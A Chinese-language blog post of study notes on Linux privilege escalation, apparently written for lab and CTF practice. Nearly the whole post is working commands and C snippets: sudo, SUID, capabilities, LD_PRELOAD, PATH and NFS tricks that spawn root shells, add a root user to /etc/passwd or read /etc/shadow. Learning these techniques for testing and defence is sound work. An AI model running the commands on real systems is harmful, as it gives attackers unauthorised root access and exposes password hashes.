首页 > 系统相关 >linux提权

linux提权

时间:2023-11-28 13:45:05浏览次数:40  
标签:bin shell 提权 linux 权限 root find

Linux Privilege Escalation

机器信息收集

拿到一个立足点可以执行简单命令后,对机器的一些信息收集

hostname:主机名

在某些情况下,它可以提供有关目标系统在企业网络中的角色的信息(例如用于生产 SQL 服务器的 SQL-PROD-01)

uname -a:

linux内核版本等信息,对提权有用

提供有关内核版本的信息以及其他数据,例如是否安装了编译器(例如 GCC)

/etc/issue、/etc/*release

一些系统信息

lsb_release –a

当前系统发行版的具体版本号等信息

-r:内核版本

ps aux

查看进程

a-所有用户

u-启动进程的用户

x-显示未连接到终端的进程

env

查看环境变量

sudo -l

列出您的用户可以使用 运行的所有命令

ls -la

id

提供用户权限级别和组成员身份的总体概述

uid=0,是root权限

/etc/passwd、shadow

用户的一些shell路径、版本以及密码的hash值

history

命令历史

ip a/ifconfig

查看网卡、ip等信息

ip route

查看网络路由

netstat

-a:显示所有监听端口和已建立的连接

-au/-at:显示udp或tcp协议相关的

-l:列出监听端口

-s:按照协议列出网络使用统计信息

-tp:列出服务器名和pid信息

netstat 您可能在博客文章、文章和课程中最常看到的用法可以 细分netstat -ano 如下:

  • -a:显示所有socket
  • -n: 不解析名称
  • -o:显示定时器

find查找攻击向量

简单示例:

  • find . -name flag1.txt:在当前目录下找到名为“flag1.txt”的文件
  • find /home -name flag1.txt:在/home目录下找到文件名“flag1.txt”
  • find / -type d -name config:找到“/”下名为config的目录
  • find / -type f -perm 0777:查找具有777权限的文件(所有用户可读、可写、可执行的文件)
  • find / -perm a=x: 查找可执行文件
  • find /home -user frank:查找“/home”下用户“frank”的所有文件
  • find / -mtime 10:查找最近10天内修改过的文件
  • find / -atime 10:查找最近 10 天内访问过的文件
  • find / -cmin -60:查找最近一小时(60 分钟)内更改的文件
  • find / -amin -60:查找最近一小时(60分钟)内的文件访问情况
  • find / -size 50M:查找50MB大小的文件(+、-表示size大于或小于)

查找可执行文件:

  • find / -writable -type d 2>/dev/null:查找全局可写文件夹
  • find / -perm -222 -type d 2>/dev/null:查找全局可写文件夹
  • find / -perm -o w -type d 2>/dev/null:查找全局可写文件夹

查找开发工具和支持的语言:

  • find / -name perl*
  • find / -name python*
  • find / -name gcc*

提权

内核漏洞提权

要谨慎使用,因为如果用错了系统可能会崩溃

给目标机器上传利用脚本方法:

SimpleHTTPServer--一个python模块

只需要切换到脚本目录。然后python -m SimpleHTTPServer

(python3之后该模块叫做http.server)

就可以用目标机下载该目录文件(wget下载)

实际渗透中利用内核漏洞提权一定要了解其原理,避免不可控的事情发生

一个网站:https://gtfobins.github.io/

下面的各种类型的提权里面都有介绍

sudo提权

sudo+命令,则可以 以root运行命令,有时某些用户有一些命令是可以用sudo运行的

sudo -l查看当前用户与root相关的命令

image-20230924131104989

可以看到这里的ALL和NOPASSWD,表示任何用户可以无密码用sudo执行对于命令

https://gtfobins.github.io/是一个有价值的资源,它提供了有关如何使用您可能拥有 sudo 权限的任何程序的信息。

由于有sudo权限,那么执行/bin/bash产生的shell就是root权限

find

sudo find . -exec /bin/sh \; -quit

less

sudo less filepath
:!/bin/bash

python

sudo python -c 'import pty;pty.spawn("/bin/bash")'

LD_PRELOAD

这是一个环境变量,用于指定预加载的共享库

sudo -l结果回显:有env_keep=LD_PRELOAD

需要 /etc/sudoers文件增加内容:

Defaults env_keep+="LD_PRELOAD"

zabbix ALL=(root) NOPASSWD:/usr/bin/ls(非必须)

sudo vim /etc/sudoers

提权利用:

写个c文件,内容:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void main() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}


生成共享对象文件:gcc -fPIC -shared -o shell.so shell.c -nostartfiles

gcc:GCC编译器的命令。
-fPIC:这个选项告诉编译器生成位置无关代码(Position Independent Code,PIC),用于构建共享库。位置无关代码是一种可在内存中加载和执行的代码,它不依赖于特定的内存位置。
-shared:这个选项告诉编译器生成一个共享库,而不是可执行文件。
-o shell.so:这个选项指定输出文件的名称为shell.so。
shell.c:这是要编译的源文件的名称,即shell.c。这个文件包含了共享库的源代码。
-nostartfiles:这个选项告诉链接器不使用标准启动文件(如crt0.o),因为共享库并不需要执行入口点等启动代码。

执行:sudo LD_PRELOAD=shell.so路径 ls

上述命令在预加载共享对象时执行c文件中写的代码,因为编译是其被编译为位置无关代码,可在内存中执行,从而提权成功

nmap

如果nmap有sudo权限,有s权限,版本够老(2.02-5.21)

sudo nmap --interactive 进入交互模式

!bash进行提权

老版本nmap可行

nmap以root运行
cat os.execute("/bin/sh") > nse_root.nse
#nse是nmap的插件扩展名
nmap --script=/home/jens/nse_root.nse

创建一个1.nse,内容:os.execute("/bin/sh")

sudo nmap --script=1.nse路径

suid(以下例子前提是都有suid权限)

suid是一种权限标记,运行有该标志的文件时会以文件所有者的权限运行,而不是当前用户

找有suid权限的命令:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

find

某文件具有suid

find 具有suid权限的filename -exec whoami ;

find具有suid

find 一个存在的文件 -exec whoami ;

dash

dash -p

less/more

less和more都差不多

发现less或者more有suid权限,而他们又属于用户root

less /etc/passwd

!/bin/sh

nano

nano进入交互界面

找执行命令的操作

如:

ctrl+R

ctrl+X

whoami

可以看到回显:root

vim/vi

vim

:!/bin/sh

vim -c ':!/bin/sh'

cp/mv

cp/mv覆盖源来的passwd文件

当cp或者mv有suid权限,则运行该命令是以root权限

我们可以在一个当前用户可写的文件夹执行如下命令

openssl passwd -1 -salt sudo password#生成密码
echo 'qs:$1$sudo$RQRCrzxXZ56RbukF2cDqj.:0:0::/root/:/bin/sh' >> passwd#写入到一个passwd文件
cp passwd /etc
su qs
输入密码成功切换qs账户,这里qs就是root

值得注意的是,该命令会把目标目录的同名文件passwd给覆盖掉

实验和实际过程都应该谨慎使用

事实上这样的方法非常危险,会把系统环境直接整没了

bash

bash -p

awk

awk 'BEGIN {system("/bin/bash")}'

base64读取任意文件

LFILE=file_to_read#要读取的文件
./base64 "$LFILE" | base64 --decode

systemctl


TF=$(mktemp).service #执行mktemp命令,创建临时文件

#把systemd服务配置信息给到$TF临时文件
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod+s /bin/bash" #这是执行的命令,给/bin/bash suid权限
[Install]
WantedBy=multi-user.target' > $TF


/bin/systemctl link $TF #把$TF文件连接到systemd服务目录
/bin/systemctl enable --now $TF #立即执行创建的临时服务
/bin/bash -p #特权模式运行bash,由于刚才给了bash suid权限 ,故这里可拥有/bin/bash所有者(root)权限

capabilities提权

下面的提权演示都默认有cap_setuid的能力

思路其实就是找cap_setuid能力,然后利用脚本、命令执行setuid为0(root)

当然gpt知道capabilitie的值有很多,感觉可以利用的还有:

  1. CAP_CHOWN:更改文件拥有者。
  2. CAP_DAC_OVERRIDE:忽略文件权限限制。
  3. CAP_DAC_READ_SEARCH:读取并搜索任意文件。
  4. CAP_FOWNER:忽略文件所有者限制。
  5. CAP_FSETID:即使普通用户也可以更改文件的 SETUID 和 SETGID 位。

capabilities是一种控制权限的安全机制,它可以更精细的分配权限,确保权限最小原则。如果capabilities权限的配置不当会导致提权。

比如某用户需要一定特权去执行某一二进制操作,而给它root权限的话,那就会给他除其需要的操作以外的其他特权,这样不安全,为确保只给到他需要的权限,可以用capabilities机制。

查找所有文件capabilitie:getcap -r / 2>/dev/null

找capabilitie是cap_setuid的进行提权

查找某一文件capabilitie:getcap 路径

删除文件capabilitie:setcap -r 路径

给某文件设置capabilitie:sudo setcap 能力值 filepath

vim

./vim -c ':py3 import os;os.setuid(0);os.execl("/bin/sh","sh","-c","reset;exec sh")'

./vim:执行vim

-c:进入vim执行命令

:py3指vim执行python代码前缀

os.exec调用/bin/sh,参数sh、-c、reset、exec shell

reset重置终端显示

exec sh 将当前进程替换为一个新的shell进程

上述命令将开启一个root用户的shell

gdb

getcap `which gdb`
有cap_setuid则可利用
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

perl

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

php

php -r "posix_setuid(0); system('/bin/sh');"

python

python -c 'import os; os.setuid(0); os.system("/bin/sh")'

ruby

ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

rvim

rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

tar

该方法利用的是cap_dac_read_search能力绕过文件的读权限检查以及目录的读/执行权限的检查,利用此特性我们可以读取系统中的敏感信息。

tar cvf shadow.tar /etc/shadow  //绕过权限检查即可成功创建压缩文件

tar -xvf shadow.tar  //解压缩

cd etc  //进入解压缩的目录

chmod +r shadow  //赋予读权限

cat shadow | grep root  //查看shadow文件的内容

openssl

openssl的能力为空

//使用openssl生成证书

cd /tmp

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

//启动web服务器,监听1337端口

cd /

openssl s_server -key /tmp/key.pem -cert /tmp/cert.pem -port 1337 -HTTP

//访问本机的web服务,读取/etc/shadow文件

curl -k "https://127.0.0.1:1337/etc/shadow"

定时任务提权(cron)

linux有一个目录(/etc/crontab)里面有一些定期执行的脚本

只需要找到相应linu版本的这一目录,向其中写入定时脚本或者在定时脚本中添加提权代码,则可以成功提权

值得注意的时这除了可以用于提权似乎还可以用来执行一些其他命令

一些系统管理员要定期执行某操作,于是他们写了脚本做定期任务

之后不再需要时,他们删除了脚本却删除定时任务

path提权

看了一些文章感觉大概原理就是cd到一个可写目录

如cd tmp,创建一个可执行文件内容为/bin/bash如:

echo "/bin/bash" > pa
cp /bin/bash ./pa
ln -s /bin/bash ./pa
上述三种都可以用来创建一个这样的pa文件

给pa满权限:chmod 777 pa

把/tmp加到PATH环境变量:export PATH=/tmp:$PATH

然后还需要一个二进制文件,这里用c语言做演示进行编译(因为我感觉理论上其他语言编译后也可以达到同样的效果)

shell.c:

内容:
#include<unistd.h>
void main(){
setuid(0);
setgid(0);
system("pa");
}

然后我们编译并执行上述的文件

gcc shell.c -o shell

./shell

注意这里的shell需要有suid权限

他会setuid和gid为0、执行pa命令,则系统会在PATH搜索,结果发现就是执行/bin/bash

上述提权条件:

其实这也是实验环境,真正情况条件很苛刻,因为真实环境自己创建的shell必定不是root用户,要成功提权,shell是需要属于root用户,并且具有suid权限,然后能够直接或间接执行/bin/bash,并且这个shell所在的目录要么在path中,要么可以导入path,才可以提权),其实感觉上这就是suid提权

nfs提权

nfs是用于文件共享的

/etc/exports文件是其配置文件

配置为no_root_squash,则访问时是root权限

当配置为root_squash,则访问时分配一个nfsnobody用户

image-20230923225235921

showmount -e 10.0.2.12:显示该NFS服务器的共享列表

我们需要下载nfs客户端:

sudo apt install nfs-common

apt-get install cifs-utils

攻击机创建目录:mkdir /tmp/test

将共享目录挂载到本地刚创建的目录:

mount -o rw 10.0.2.12:/tmp /tmp/test

在/tmp/test建一个c文件:shell.c

#include <stdio.h> 
#include <stdlib.h> 
#include <sys/types.h> 
#include <unistd.h> 
int main() { setuid(0); system("/bin/bash"); return 0; }

编译、赋值suid权限:

gcc shell.c -o shell -w
chmod u+s shell

在服务器执行

cd /tmp

./shell

标签:bin,shell,提权,linux,权限,root,find
From: https://www.cnblogs.com/q1stop/p/17861769.html

相关文章

  • Linux解压文件指令
    一、ZIP解压1、把文件解压到当前目录下unzip文件名.zip2、如果要把文件解压到指定的目录下,需要用到-d参数。unzip-d目录文件名.zip3、解压的时候,有时候不想覆盖已经存在的文件,那么可以加上-n参数unzip-n文件名.zipunzip-n-d目录文件名.zip压缩的话同理:zip文件夹......
  • Linux系统中文件的管理
    1.文件目录与路径(1)所有文件都在根目录(/)下,用户可以使用ls命令查看根目录下的文件。根目录下常见的目录:/bin:里边包含了一般程序工具,用户、管理员、系统都可以调用。/dev:系统设备文件目录,除cpu外的所有的硬件设备都会抽象成特殊的文件放在这里,虚拟设备也放在这里。/etc:包含了大......
  • Linux 04
    第四章文件权限本章学习目标:1.掌握基本权限用法2.掌握高级权限用法一、基本权限UGOU:owner,属主。G:group,属组。O:other,其他用户。r:read(读取),数字设定为4.w:write(写入),数字设定为2.x:execute(执行),数字设定为1.777:可读可写可执行,所有用户所有权限000:三不可。1.1设置文件属性与......
  • 如何更改linux的密码
    众所周知,设密码时笑嘻嘻,找回密码***,每次设置的linux密码最后都只防住了自己,接下来我就讲讲如何改密码Linux修改密码用passwd命令,用root用户运行passwd,passwduser_name可以设置或修改任何用户的密码,普通用户运行passwd只能修改它自己的密码。[root@localhost~]#passwd##修......
  • Linux 问题故障定位的技巧大全
    1.背景有时候会遇到一些疑难杂症,并且监控插件并不能一眼立马发现问题的根源。这时候就需要登录服务器进一步深入分析问题的根源。那么分析问题需要有一定的技术经验积累,并且有些问题涉及到的领域非常广,才能定位到问题。所以,分析问题和踩坑是非常锻炼一个人的成长和提升自我能力。如......
  • Linux驱动开发笔记(五):驱动连接用户层与内核层的文件操作集原理和Demo
    前言  驱动写好后,用户层使用系统函数调用操作相关驱动从而实现与系统内核的关联,本篇主要就是理解清楚驱动如何让用户编程来实现与内核的交互。<br>杂项设备文件操作集cd/usr/src/linux-headers-4.18.0-15viinclude/linux/fs.h  搜索到(vi则直接使用“/”):  struct......
  • Linux 高级Shell脚本与用户管理(linux文件夹备份脚本)
    本文,我们将要学习Linux高级Shell脚本以及用户管理(重点)。下面,我们将开始探索几个使用的Shell脚本,然后介绍Linux中的用户管理。Shell脚本1创建动态目录首先,我们创建一个名为 create_directories.sh的脚本文件,这个将本将用于生成指定数量且具有动态名称的目录。以下是脚本......
  • linux的期末总结
    简介Linux是目前最流行的操作系统之一,在服务器、桌面、移动等领域都有广泛的应用。为了深入了解Linux内核的运行机制,我参加了学校的Linux内核分析课程。通过八周的学习,我对Linux内核有了比较深入的了解,并在以下几个方面取得了进步:掌握了Linux内核的基本概念和结构理解......
  • Linux 03
    第三章用户管理本章学习目标:1.了解用户和组的意义2.掌握创建、修改与删除用户/组的方法3.熟悉用户相关配置文件4.熟悉用户身份切换与提权一、用户/组概览Linux系统是多用户、多任务的分时操作系统,系统上每一个进程都有一个特定的文件,每个文件都被一个特定的所拥有。如果需......
  • Linux课堂知识总结
    这是学习Linux的第五节课,老师跟我们讲述了Linux的进程管理操作。程序(program)是一个普通文件,是为了完成特定任务而准备好的指令序列与数据的集合,这些指令和数据以“可执行映像”的格式保存在磁盘中。例如:hello.c源程序文件经过编译后产生a.out程序,其中a.out文件为可执行镜像格式......